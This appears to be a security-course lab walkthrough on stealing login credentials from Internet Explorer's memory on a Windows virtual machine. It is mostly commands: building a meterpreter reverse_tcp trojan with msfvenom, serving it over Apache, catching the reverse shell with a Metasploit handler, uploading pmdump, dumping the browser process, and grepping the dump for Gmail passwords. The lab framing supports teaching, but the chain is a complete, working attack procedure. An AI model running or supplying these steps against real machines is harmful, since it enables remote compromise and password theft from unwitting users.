1Se9zWVs

1Stealing Passwords from RAM with Metasploit
2
3What You Need
4
5A Windows 2008 Server virtual machine (any otner Windows version should be fine too, but it must not have antivirus software running)
6A Kali 2 virtual machine
7Purpose
8
9Using meterpreter commands, we'll dump the memory of Internet Explorer to a file, download it, and steal passwords from it.
10There have been various Metasploit scripts to automate this process, but they don't work for long before Metasploit changes make them stop working, so I recommend using this manual process.
11
12Starting Apache on your Kali Machine
13
14In your Kali 2 machine, in a Terminal window, execute these commands:
15ifconfig
16service apache2 restart
17
18Testing Networking
19
20On your Windows machine, open a Web browser and enter the IP address of your Kali machine.
21You should see the Apache2 default page, as shown below. If you can't connect, you need to debug your networking before proceeding.
22
23I recommend placing both machines into NAT networking mode for this project.
24
25
26
27Logging in to Gmail
28
29On your Windows machine, in Internet Explorer, open gmail.com and attempt to log in with these credentials, replacing "YOURNAME" with your own name:
30YOURNAME@gmail.com
31SECRET_PASSWORD_YOURNAME
32
33
34Click the "Sign in" button. Gmail won't let you in, but that doesn't matter for our purposes. The important thing for this project is that Internet Explorer placed your credentials into RAM.
35
36Creating a Trojan
37
38In your Kali 2 machine, in a Terminal window, execute these commands, replacing the IP address with the IP address of your Kali machine.
39msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.119.130 -f exe > fun.exe
40cp fun.exe /var/www/html
41
42
43
44Downloading pmdump
45
46We'll use a really old tool--pmdump, from 2002. It still works!
47In your Kali 2 machine, in a Terminal window, execute these commands:
48
49curl http://ntsecurity.nu/downloads/pmdump.exe > pmdump.exe
50file pmdump.exe
51
52cp pmdump.exe /tmp
53
54Starting a Meterpreter Handler
55
56In your Kali 2 machine, in a Terminal window, execute these commands, replacing the IP address with the IP address of your Kali machine.
57msfconsole
58use multi/handler
59
60set PAYLOAD windows/meterpreter/reverse_tcp
61
62show options
63
64set LHOST 192.168.119.130
65
66exploit
67
68The payload handler waits, listening, as shown below.
69
70
71Downloading and Executing the Malicious Executable
72
73On your Windows target machine, in a Web browser, enter this URL, replacing the IP address with the IP address of your Kali machine.
74http://192.168.119.130/fun.exe
75Run the file, as shown below.
76
77
78Uploading pmdump to the Target
79
80On your Kali machine, a Meterpreter session should be open, as shown below.
81At the meterpreter prompt, execute these commands:
82
83cd %TEMP%
84pwd
85
86upload /tmp/pmdump.exe %TEMP%
87
88
89At the meterpreter prompt, execute these commands:
90
91shell
92dir
93
94You should see the pmdump.exe file, as shown below.
95
96
97Execute these commands to see how pmdump works, and list the processes on the target system.
98
99pmdump.exe
100pmdump.exe -list
101
102
103
104Find "iexplore.exe" in the list, and notice its Process ID number, as shown below.
105
106Execute these commands, replacing "1728" with the correct process ID of "iexplore.exe":
107
108pmdump.exe 1728 ie.mem
109dir
110
111As shown below, the RAM used by Internet Explorer is now in a file named ie.mem. This file is approximately 95 MB in size.
112
113
114Execute these commands to return to the Meterpreter shell and start downloading the "ie.mem" file:
115
116exit
117download ie.mem /tmp
118
119The download starts, but doesn't finish right away, as shown below.
120
121
122To see the progress of the download, open a new Terminal window and execute these commands:
123
124cd /tmp
125watch "ls -l ie.mem"
126
127You can see the file increasing in size, as shown below.
128
129
130When it's done, you'll see a "download" message and a new "meterpreter" prompt in the window showing the Meterpreter session:
131
132
133In the Terminal window showing the "watch" results, press
134
135Ctrl+C to stop "watch".
136
137Execute this command to search for login credentials in the RAM file:
138
139strings ie.mem | grep "@gmail.com"
140Your username and password should be easy to find. Highlight them
141
142Make sure your username and password are visible and highlighted, as shown above.